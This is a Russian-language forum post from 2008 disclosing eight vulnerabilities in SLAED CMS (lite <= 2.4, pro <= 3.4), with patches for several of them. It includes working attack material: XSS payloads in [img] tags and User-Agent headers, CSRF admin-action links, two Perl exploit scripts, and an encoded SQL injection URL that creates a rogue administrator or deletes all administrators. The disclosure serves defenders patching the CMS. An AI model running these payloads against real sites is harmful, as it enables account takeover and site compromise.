Показать сообщение отдельно

  #3  
Старый 21.01.2008, 12:56
F!$T
Участник форума
Регистрация: 05.02.2007
Сообщений: 142
Провел на форуме:
2652878

Репутация: 995
Отправить сообщение для F!$T с помощью ICQ
По умолчанию

Множественные уязвимости в SLAED CMS lite <= 2.4, и pro <= 3.4

1. CSRF – уязвимость при загрузке аватара.

Злоумышленник может заставить сервер, на котором установлен SLAED CMS, выполнить произвольный http-запрос на сторонний сайт. Причина уязвимости заключается в том, что при загрузке аватара c удалённого хоста проверяется только наличие в конце записи расширения изображения. Злоумышленник может дополнить запрос указателем в виде расширения картинки.

Для исправления данной уязвимости надо в файле function/source.php заменить строку 994:
Код:
$type = strtolower(end(explode(".", $_POST['sitefile'])));
на строки:
Код:
$afile = str_replace(array('&','?','#'),'',$_POST['sitefile']);
$type = strtolower(end(explode(".", $afile)));

2. XSS при загрузке аватара

Уязвимость существует в виду отсутствия проверки содержимого изображений загружаемых с локального компьютера. Атакующий может загрузить файл, содержащий JavaScript/HTML-код, имеющий расширение изображения (jpg,png,gif и т.д.). Использование данной уязвимости имеет 2 ограничения: атака может быть произведена только на пользователей использующих бразуер Internet Explorer и для нападения атакующий должен заставить жертву перейти по прямой ссылке на вредоносное изображение.


3. Активная XSS в комментариях и подписях.

Уязвимость существует в виду отсутствия проверки информации содержащейся в тегах [img][/img]. Атакующий может вставить в данные теги произвольный JavaScript – код. Например, если ввести в поле комментария следующий текст:
Код:
[img]javascript:alert(document.cookie)[/img]
то после отправки в теле страницы, содержащей этот комментарий, появится вот такой HTML-код:
Код:
<img src="javascript:alert(document.cookie)" align="center"  order="0" alt="title" title="title" />
Временное исправление – заменить строку 101 файла [code]function/comment.php:
Код:
$comment = nl2br(text_filter($comment, 2));
на строку:
Код:
$comment = nl2br(text_filter(str_ireplace("javascript","Java Script",$comment), 2));
После этого код подобных комментариев будет выглядеть вот так:
Код:
<img src="Java Script:alert(document.cookie)" align="center" border="0" alt="title" title="title" />

4. Обход ограничений безопасности.

Уязвимость существует в виду того, что скрипт администрирования не проверяет заголовок REFERER перед определёнными операциями. Атакующий может оставить специально сформированное сообщение в комментариях или подписи, просмотрев которое администратор может непроизвольно выполнить какие-либо действия в панели администрирования. Как пример возьмём ссылку удаления блока под номером 1:
Код:
http://slaed/admin.php?op=BlocksDelete&bid=6&ok=1
если злоумышленник оставит на сайте комментарий, содержащий изображение с адресом этой ссылки, то в теле страницы с комментарием появится следующий код изображения:
Код:
<img src="http://slaed/admin.php?op=BlocksDelete&amp;bid=6&amp;ok=1" align="center" border="0" alt="title" title="title" />
Соответственно администратор, при просмотре этого комментария, непроизвольно вызовет удаление первого блока.
Ограничение: злоумышленник должен знать имя скрипта администрирования.


5. Обход ограничений безопасности.

Уязвимость существует в файле security.php. Нападение можно осуществить при включенной опции "Блокировка нападающих". В виду того, что при блокировке атакующего скрипт не проверяет подлинность cookies, атакующий может заблокировать имена других пользователей. Пример эксплоита:
Код:
#!usr/bin/perl
use IO::Socket; my $host = "site.com"; # host $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "CONNECTION FAILED";
print $sock "GET /index.php?id=UNION+1 HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Cookie: lite_us=MTphZG1pbixsYW1lcixwcGM6MTIzOjEyMzQ=\r\n";
print $sock "Connection: close\r\n\r\n";
Здесь site.com – хост, на который производится нападение, а строке, закодированной алгоритмом
Код:
base64: MTphZG1pbixsYW1lcixwcGM6MTIzOjEyMzQ=
соответствует значение
Код:
1:admin,lamer,ppc:123:1234.
При блокировке скрипт разбивает cookies на массив и вторую ячейку массива записывает в файл config_blocker.php:
Код:
# 212-216 #
if (isset($_COOKIE[USER_COOKIE])) {
$user = $_COOKIE[USER_COOKIE];
$user = explode(":", addslashes(base64_decode($user)));
$user = substr("".$user[1]."", 0, 25);
$user_block = "".$user.",";
# 225-227 #
$cont .= "\$security_blocker_user = \"".$user_block."".$security_blocker_user."\";\n";
$content = "<?php\nif (!defined(\"FUNC_FILE\")) die(\"Illegal File Access\");\n\n".$cont."\n?>";
fwrite($fp, $content);
Из-за отсутсвтвия проверки cookies в файл запишутся следующие данные:
Код:
$security_blocker_user = "admin,lamer,ppc";
т.к. именно эта строка будет находится во второй ячейке массива.
Подобным образом атакующий может забанить любое количество пользователей за несколько
обращений.


6. Активная XSS в панели администрирования.

Уязвимость существует в скрипте security.php в функции warn_report(). В виду отсутствия проверки заголовка USER_AGENT атакующий может произвести XSS-нападение, поместив в этот заголовок html-код который будет записан в лог-файл и отображён при просмотре логов безопасности.
Пример эксплоита:
Код:
#!usr/bin/perl
use LWP::UserAgent;
$browser = LWP::UserAgent->new();
my $url = "http://slaed/"; # URL
my $user_agent = "</textarea><script>alert(13245)</script><textarea>";
$answer = $browser->get($url."?id=UNION+1",'USER_AGENT'=>$user_agent);
И исправление: замените строку 258 в файле modules/security.php:
$agent = getenv("HTTP_USER_AGENT");
на строку
$agent = htmlspecialchars(getenv("HTTP_USER_AGENT"));

7. SQL-инъекция (security.php)

Уязвимость возможна благодаря некорректной обработке скриптом security.php массивов GET, POST, Cookie. При выключенной опции конфигурации PHP magic_quotes_gpc возможна перезапись глобальных переменных, созданных ранее самой CMS, а также создание новых. К ним относятся переменные, содержащие конфигурационную информацию системы. Таким образом, перезаписав переменную prefix запросом http://site.com/index.php?prefix=lol, атакующий может внедрить произвольный SQL-код в запросы к базе данных.
Пример эксплоита, обходящий все ограничения фильтров безопасности:
Код:
http://[host]/index.php?prefix=slaed_admins+values+(/*&ina=team*/999,
0x6834783072,0x41646d696e,0x687474703a2f2f696e61747461636b2e72752f,0x726f6f74406c6f63616c68
6f7374,0x3666333234396161333034303535643633383238616633626661623737386636,1,0,0x656e676c69
7368,0x3132372e302e302e31)/*
Данный запрос внедрит в инструкцию INSERT SQL-код, который добавит нового администратора с именем h4x0r и паролем 31337 в таблицу slaed_admins. Кроме того, присутствует возможность удаления всех администраторов с помощью запроса:
Код:
http://[host]/admin.php?prefix=slaed_admins/*
Выполнив данный запрос, атакующий впоследствии сможет создать нового администратора.
Ограничение: злоумышленник должен знать префикс таблиц.


8. SQL-инъекция (index.php)

Вызов функции
Код:
import_request_variables()
(строка 32) в index.php может привести к перезаписи значений элементов массива GLOBALS, т.е. снова возможна SQL-инъекция описанная выше. Уязвимость возможна при опции register_globals установленной в ‘off’


Последний раз редактировалось F!$T; 21.01.2008 в 13:16..
 
Ответить с цитированием